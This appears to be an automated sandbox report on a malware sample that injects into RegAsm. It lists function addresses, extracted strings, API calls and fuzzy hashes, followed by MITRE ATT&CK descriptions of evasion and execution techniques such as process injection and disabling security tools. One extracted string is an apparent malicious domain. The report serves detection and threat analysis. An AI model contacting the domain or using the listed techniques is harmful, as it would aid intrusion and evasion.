Function 004123AD Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

}{, xrefs: 00412455

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: }{
API String ID: 0-2556126010
Opcode ID: 86fc7bbb8f71fa9e90ffa16d517ba7d6b08b3ad923dd2956ec98f4b4a303de33
Instruction ID: 1c8095d0e3db8fd1363295c4017b50b60a96a1c7182979d9b04a7b154951caee
Opcode Fuzzy Hash: 86fc7bbb8f71fa9e90ffa16d517ba7d6b08b3ad923dd2956ec98f4b4a303de33
Instruction Fuzzy Hash: 1E518DB4200602DFD324CF29C5A1A62B7F2FF4A350B24994DD4D6CBB54D379E8A1CB98

Function 004100CB Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

B, xrefs: 004100E4

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-1255198513
Opcode ID: f7e32b4fc022e045620a3b265961e9345ef1b34c66be138370ccbbe0513876fa
Instruction ID: ae76bd3f89ee397e63b9bccb40564e20378e0b346a78422d95f96686f7635e10
Opcode Fuzzy Hash: f7e32b4fc022e045620a3b265961e9345ef1b34c66be138370ccbbe0513876fa
Instruction Fuzzy Hash: 214168706083808BD315DB28D881BAEBBF5AF96348F044C2DE1C9D7362D77A98958B57

Function 004366B0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

@, xrefs: 00436718

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 055c23388ece44485477c6dc09a2d7129e63bbbc7650c81042cd163ed5f8e42a
Instruction ID: f722ca51760dcfb18ae79715c3000d80a43b571bf7b112194cb9bff4a1ec53d8
Opcode Fuzzy Hash: 055c23388ece44485477c6dc09a2d7129e63bbbc7650c81042cd163ed5f8e42a
Instruction Fuzzy Hash: 1031FC715083059FD300DF08C88166BFBF5FF89358F55992EE98887360D339E9098BAA

Function 0041E594 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041E610

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 2e93865f553a4f5a092ef84bcd68ca5bb9323686f0a0824487b1fba554725558
Instruction ID: d76ead9e38f0ebf03a4d97c438e767dfbadc3f595c9280ab3cbc68496a962fe9
Opcode Fuzzy Hash: 2e93865f553a4f5a092ef84bcd68ca5bb9323686f0a0824487b1fba554725558
Instruction Fuzzy Hash: C3015B386083529BD318CF05D4A046FFBE2AFDA355F54992DE8CA533A1C334E881CB4A

Function 00423E16 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

d>B, xrefs: 00423E5E

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: d>B
API String ID: 0-1770553647
Opcode ID: e65179d5fc362a254d7a78c5370ec306f83d82cf524f8830032bebd8a4b5c8b1
Instruction ID: 23d159685a26b8453a6add6a6c9c561a5425bbce7eb9bae6a5b29bf5e7ef4885
Opcode Fuzzy Hash: e65179d5fc362a254d7a78c5370ec306f83d82cf524f8830032bebd8a4b5c8b1
Instruction Fuzzy Hash: B4F08C2804C2E389C7028A3A60D0332BFA34FA7681F6D5182C0D00B352D73F8A0E866A

Function 00423BC9 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

<B, xrefs: 00423BF3

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: <B
API String ID: 0-741197489
Opcode ID: ba74ca6b23f664b2fe6cd97c599448c92381694e970d502f5621a21756412b00
Instruction ID: 56eddd5710ab9f3ba3c064f54dcf7cfd11df33fa5d5c1aa68379b27648139a91
Opcode Fuzzy Hash: ba74ca6b23f664b2fe6cd97c599448c92381694e970d502f5621a21756412b00
Instruction Fuzzy Hash: 8FF01220508292C9E7118F1A9050771FFB0AF63341B6860C798C56F293C36DDD97D669

Function 00406B80 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db54d59c192d6b6fd14885a93f852d71f41e26016e9a19521493280c03582cbb
Instruction ID: dfef78953d44d306f3fabf23c5bb7017981e2830edf013e639bb80511372e877
Opcode Fuzzy Hash: db54d59c192d6b6fd14885a93f852d71f41e26016e9a19521493280c03582cbb
Instruction Fuzzy Hash: 8AF1BE716083418FC728CF29C881A2BFBE2EF95304F04892DE5D657791E275E954CB9A

Function 00436E10 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d516b691b263f34783574b8d10e145400edb1a21f96742117e16c68cd1ed561
Instruction ID: 05e9d15e69f6221528390f51f9169826248a77df80b4759cd4aa61dd3306ed9b
Opcode Fuzzy Hash: 9d516b691b263f34783574b8d10e145400edb1a21f96742117e16c68cd1ed561
Instruction Fuzzy Hash: 82A1F1756083029BC728DF18D88092BB3F2FF89754F15992DE8858B361E739EC51CB96

Function 0041FA7F Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83404a13c3c957f63282f6e511ac123ad5cbcdb76db1fccb295810a29c6b1e7a
Instruction ID: df0cd31c607533a98da9c19a4674afab0b99463390f81520ac9175c70ea4b2e2
Opcode Fuzzy Hash: 83404a13c3c957f63282f6e511ac123ad5cbcdb76db1fccb295810a29c6b1e7a
Instruction Fuzzy Hash: A581ABB490022A8BDB14CF54C8A07BFB7B1FF56304F144A5DD8562B795E3386946CBA8

Function 0040EDDF Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4340e28113e2f416eac9606e51f57f28b22c221dfb8cca225654b0e3f015c99
Instruction ID: d80a1476e36663fc0f1e44782cbadfce23121eedbcbac17c6fe514ae84ba342f
Opcode Fuzzy Hash: c4340e28113e2f416eac9606e51f57f28b22c221dfb8cca225654b0e3f015c99
Instruction Fuzzy Hash: A271A4B19083518BD725CF24C48076BB7E5AF96324F140D3EE889A73D1D735E888C79A

Function 0041C219 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2580786246c3d70e228bd320d61a6e399c2246324a796232639fc0e6287388a9
Instruction ID: 6fb870906a14a99ae7522ebce49e0dce1299c4cad0614e065919b308ab25f387
Opcode Fuzzy Hash: 2580786246c3d70e228bd320d61a6e399c2246324a796232639fc0e6287388a9
Instruction Fuzzy Hash: D341E7729583928FD710AF58C8C039BBBE1EB96340F19492EE4C597341D378D885C7DA

Function 00436250 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fdb1793cd73c7b7f0bc918e7d4c72ca26648cb6ca977c2709b6ccd04db6e54b
Instruction ID: b78f1c056aa8a07ff43ace1c20bbe993874da313b6e81b065cc51acc4efad157
Opcode Fuzzy Hash: 1fdb1793cd73c7b7f0bc918e7d4c72ca26648cb6ca977c2709b6ccd04db6e54b
Instruction Fuzzy Hash: 3121EF74A08302ABD714DF04C880A6FB7E2FFC9754F15D82EE8944B251D738ED418B9A

Function 00429A30 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 1a79eac26aafbfa0544ef3d7ab2b42f3791513668a3b9443077eb0652731c0b6
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 9711A933B052F40EC3168D3C94105A5BFA31AE3635F9943DAF4B99B3D2D6268D8A8359

Function 00420120 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d78475d16ca2dbc92dfad9f182ff1db781027909e5738ff1e453e2f1f223716
Instruction ID: d3e7e8a303244157a839e7ca479edec190b5416b95b20cc82094d503180c8648
Opcode Fuzzy Hash: 1d78475d16ca2dbc92dfad9f182ff1db781027909e5738ff1e453e2f1f223716
Instruction Fuzzy Hash: 1C019EB1B0131157F6219E51A8C173BB2E8AB84718F48013EE8085B343DB7EEC25C299

Function 00412BC0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f82cd91b960163e0e5808135f27fbf829c94ba9cad26be72ed03aca08fe522e
Instruction ID: 88c506306284b6f53fae94f60c5ac28e1cc24ce12ec5c0cbe14b4f17907f8af3
Opcode Fuzzy Hash: 8f82cd91b960163e0e5808135f27fbf829c94ba9cad26be72ed03aca08fe522e
Instruction Fuzzy Hash: D1F05CB560811057DB228D589CC1FBBFB9CCB97314F090426E945D7202E1B55884C3EE

Function 004309A0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 795788ef56b96c1a87959a2f12f052f92192ccaa2abbeab3ace1170b05378ed5
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 4AD05B61608361466B648D199410577F7E0EEC7711F45555FF582D3245D634DC41C1AD

Function 00432080 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ecffa9da22ecf8f0cb7484af7bb187de05e3d893e8e2e4297bd0606ccac6e2b
Instruction ID: 19f27002de139311d532cdf0a5dadcc30a617ca7306e28bf39ffa9b0c1a24fda
Opcode Fuzzy Hash: 4ecffa9da22ecf8f0cb7484af7bb187de05e3d893e8e2e4297bd0606ccac6e2b
Instruction Fuzzy Hash: 45D092608082859BD3059F54C959E27BBB8EF87318F45A99CE4882B661D234E948C7AA

Function 00427B1F Relevance: 38.7, APIs: 1, Strings: 21, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00427BCF

Strings

1, xrefs: 00427B35
/, xrefs: 00427B65
_, xrefs: 00427DAD
\, xrefs: 00427D5D
I, xrefs: 00427D4D
M, xrefs: 00427DDD
7, xrefs: 00427CDD
Z, xrefs: 00427D3D
], xrefs: 00427D8D
t, xrefs: 00427DED
0, xrefs: 00427ECB
X, xrefs: 00427D9D
N, xrefs: 00427CED
E, xrefs: 00427DCD
3, xrefs: 00427B45
i, xrefs: 00427E0D
g, xrefs: 00427DFD
., xrefs: 00427B5D
Q, xrefs: 00427D6D
F, xrefs: 00427D7D
-, xrefs: 00427B55

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: -$.$/$0$1$3$7$E$F$I$M$N$Q$X$Z$\$]$_$g$i$t
API String ID: 2525500382-3840792241
Opcode ID: 34b2002c33908cdc904edf0693c871045e4e1a09d1ed9e193f0e3319d6412fd4
Instruction ID: 96cb5398d84af92d0af91690a551596a32e8875e404a3310b4c7eb945ff85e54
Opcode Fuzzy Hash: 34b2002c33908cdc904edf0693c871045e4e1a09d1ed9e193f0e3319d6412fd4
Instruction Fuzzy Hash: A7A1727050CBC28AD3368A3C98487DABFD15BA7324F084B9DE5E94A2E2D3B44546C767

Function 00427599 Relevance: 26.3, APIs: 2, Strings: 13, Instructions: 79COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004275A3
VariantInit.OLEAUT32 ref: 004275B6

Strings

q, xrefs: 004275CE
9, xrefs: 004275D3
n, xrefs: 00427614
/, xrefs: 0042762D
+, xrefs: 00427619
%, xrefs: 0042760F
!, xrefs: 004275FB
', xrefs: 00427605
), xrefs: 00427623
#, xrefs: 004275F1
?, xrefs: 004275DD
=, xrefs: 004275E7
-, xrefs: 00427637

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$%$'$)$+$-$/$9$=$?$n$q
API String ID: 2610073882-1071266462
Opcode ID: a0bbf188bdef0a021ef6c17e298bd608ef58975ad04b6650471343fbb64cca1d
Instruction ID: 2809399181118501a9d804626b5b8a9a88b760e87ec92ab85ba5d1495bfd0bba
Opcode Fuzzy Hash: a0bbf188bdef0a021ef6c17e298bd608ef58975ad04b6650471343fbb64cca1d
Instruction Fuzzy Hash: C441F37010C3C19ED362DB28D09875EBFE0ABA6318F881A9DF4D44B392C7798549CB93

Function 0042695F Relevance: 26.3, APIs: 2, Strings: 13, Instructions: 72COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00426969
VariantInit.OLEAUT32 ref: 0042697C

Strings

+, xrefs: 004269DF
-, xrefs: 004269FD
?, xrefs: 004269A3
=, xrefs: 004269AD
%, xrefs: 004269D5
!, xrefs: 004269C1
q, xrefs: 00426994
), xrefs: 004269E9
9, xrefs: 00426999
#, xrefs: 004269B7
', xrefs: 004269CB
n, xrefs: 004269DA
/, xrefs: 004269F3

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$%$'$)$+$-$/$9$=$?$n$q
API String ID: 2610073882-1071266462
Opcode ID: b050d201fb3290e6e6b82bd017bf639e88d3ab13b1b3fa132c52f229ea72cb07
Instruction ID: 3460601eeb3e64c44eac0f1af0712e4cb2a5fd897327b2d52351aa9d80f2f269
Opcode Fuzzy Hash: b050d201fb3290e6e6b82bd017bf639e88d3ab13b1b3fa132c52f229ea72cb07
Instruction Fuzzy Hash: D441C27010C3C19ED361DB28908875EBFE0ABA6314F845E9DF4E44B392C7798549CB63

Function 00428ECF Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 95COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00428F11

Strings

@, xrefs: 00428F53
D, xrefs: 00428F63
7, xrefs: 00428F2F
1, xrefs: 00428F47
1, xrefs: 00428F4B
%, xrefs: 00428F5B
?, xrefs: 00428F7B
3, xrefs: 00428F3F
5, xrefs: 00428F37
H, xrefs: 00428F73
9, xrefs: 00428F27
', xrefs: 00428F6B

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: %$'$1$1$3$5$7$9$?$@$D$H
API String ID: 1927566239-2802390439
Opcode ID: 522683a62472983370d838072ed5bcca0a8f4d7babe56d03a5ab104262c1bbc1
Instruction ID: 45a4f18320d1b374e85e82b86ab003bac34e5c63c7b4f03164d8d86de9c35e8d
Opcode Fuzzy Hash: 522683a62472983370d838072ed5bcca0a8f4d7babe56d03a5ab104262c1bbc1
Instruction Fuzzy Hash: B74118701087818ED726CF28D498706BFE0AB16314F088A9DD8EA4F797C774D605CBA6

Function 00429598 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 89COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004295C9

Strings

9, xrefs: 004295DF
1, xrefs: 004295FF
?, xrefs: 00429633
D, xrefs: 0042961B
%, xrefs: 00429613
1, xrefs: 00429603
', xrefs: 00429623
7, xrefs: 004295E7
5, xrefs: 004295EF
3, xrefs: 004295F7
@, xrefs: 0042960B
H, xrefs: 0042962B

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: %$'$1$1$3$5$7$9$?$@$D$H
API String ID: 1927566239-2802390439
Opcode ID: b401b783ec908f1c5b13f858e93dc00dfab92e8e84abc02dea9cca9571f97b2a
Instruction ID: 836341f980cf8c7e8d8bb1d143024b3cf0fae830d99e5b6c14b5719918d84301
Opcode Fuzzy Hash: b401b783ec908f1c5b13f858e93dc00dfab92e8e84abc02dea9cca9571f97b2a
Instruction Fuzzy Hash: B141E9601087C18ED726CF2CD488716BFE06B16214F488A9ED8E54F7D7C375DA1ACB66

Function 00426B11 Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 68COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00426B1B

Strings

w, xrefs: 00426B9E
u, xrefs: 00426BAE
o, xrefs: 00426B5E
i, xrefs: 00426B4E
q, xrefs: 00426B8E
v, xrefs: 00426BA6
k, xrefs: 00426B3E
s, xrefs: 00426B7E
!, xrefs: 00426B36
m, xrefs: 00426B6E

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InitVariant
String ID: !$i$k$m$o$q$s$u$v$w
API String ID: 1927566239-2573421488
Opcode ID: 7bfb1cb778c037d1e7ea6437ed2e33705a16be6bfd0bbb20899df837543afbbc
Instruction ID: e32bc32200d3b0052710997c4ff78e635987ec48b79412ec1e14b6228f1f78ad
Opcode Fuzzy Hash: 7bfb1cb778c037d1e7ea6437ed2e33705a16be6bfd0bbb20899df837543afbbc
Instruction Fuzzy Hash: 9431B27050C3C18AD321DB28D05879FBFE0AB95348F048C5EE4CA97392D7BA9548DB63

Function 00419B90 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 402COMMON

Download Yara Rule

Strings

[M, xrefs: 00419C70
yI, xrefs: 0041A0F5
BZ, xrefs: 00419E6D
SY, xrefs: 00419E65
VU, xrefs: 00419E5D
JB, xrefs: 0041A0FD
ys, xrefs: 0041A105

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: BZ$JB$SY$VU$[M$yI$ys
API String ID: 0-2800861462
Opcode ID: c9f966281d422041fb9d01f3208fd165648449c003dda886f376f597bafa99d2
Instruction ID: 3aaf0c5e9ddac422a64c62ed6f7a23188ae074809220aa233d952046406d6e5b
Opcode Fuzzy Hash: c9f966281d422041fb9d01f3208fd165648449c003dda886f376f597bafa99d2
Instruction Fuzzy Hash: A5F11DB41083819BD314DF59D990A2BBBF0EF96788F144A1DF0D98B361D3389945CB9B

Function 00426CDB Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00426CE5
VariantInit.OLEAUT32 ref: 00426CF8

Strings

W, xrefs: 00426D23
X, xrefs: 00426D73
T, xrefs: 00426D43
V, xrefs: 00426D33

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: T$V$W$X
API String ID: 2610073882-3009632173
Opcode ID: 2f494ea275f35900c4a1c140c65cd30844daf452493bcb390bd471df32c0bab5
Instruction ID: 84965b94688c73dd34a0a381efb57dc1b8c7603a6d9b763ee15bafcd77ae8945
Opcode Fuzzy Hash: 2f494ea275f35900c4a1c140c65cd30844daf452493bcb390bd471df32c0bab5
Instruction Fuzzy Hash: D451906010C7C18ED3319B3C995879BBFE1ABA7224F184B9DE4E94B2E2C7309545CB67

Function 0040CE00 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 338COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(37C539E7,00000104), ref: 0040D27A

Strings

<?, xrefs: 0040D199
traineiwnqo.shop, xrefs: 0040D247

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: DirectorySystem
String ID: <?$traineiwnqo.shop
API String ID: 2188284642-920402337
Opcode ID: 376000f2929f4b1e897b819b7ab8830530c2ca87bc9560ba9dd1e5f503588ffc
Instruction ID: cb79f9d119bbcc5c349f596b6c01ce667fb9f8ab358c849ab24bbad4e6a1ae48
Opcode Fuzzy Hash: 376000f2929f4b1e897b819b7ab8830530c2ca87bc9560ba9dd1e5f503588ffc
Instruction Fuzzy Hash: B8C167B150D3C18BD3708F25948479BBBE6FF86344F144A6DE8C86B291CB389945CB97

Function 00427F8E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00427F98

Strings

U, xrefs: 004280A9
R, xrefs: 004280A1

Memory Dump Source

Source File: 00000003.00000002.1291188423.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: String
String ID: R$U
API String ID: 2568140703-2056283921
Opcode ID: 4d9f655a98abdddcf411aef1a5eb1dc83f14243dad9d5230978017d9c63cd6c4
Instruction ID: facaef09d57fc36e8301dcc93150ffe9bfd6ed82364c7e9ff28dd0fcde9fab3a
Opcode Fuzzy Hash: 4d9f655a98abdddcf411aef1a5eb1dc83f14243dad9d5230978017d9c63cd6c4
Instruction Fuzzy Hash: F341497120D3808FC7349B68D4903AEFBE1AFD6320F554A2EE5E997381CA388845CB17

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

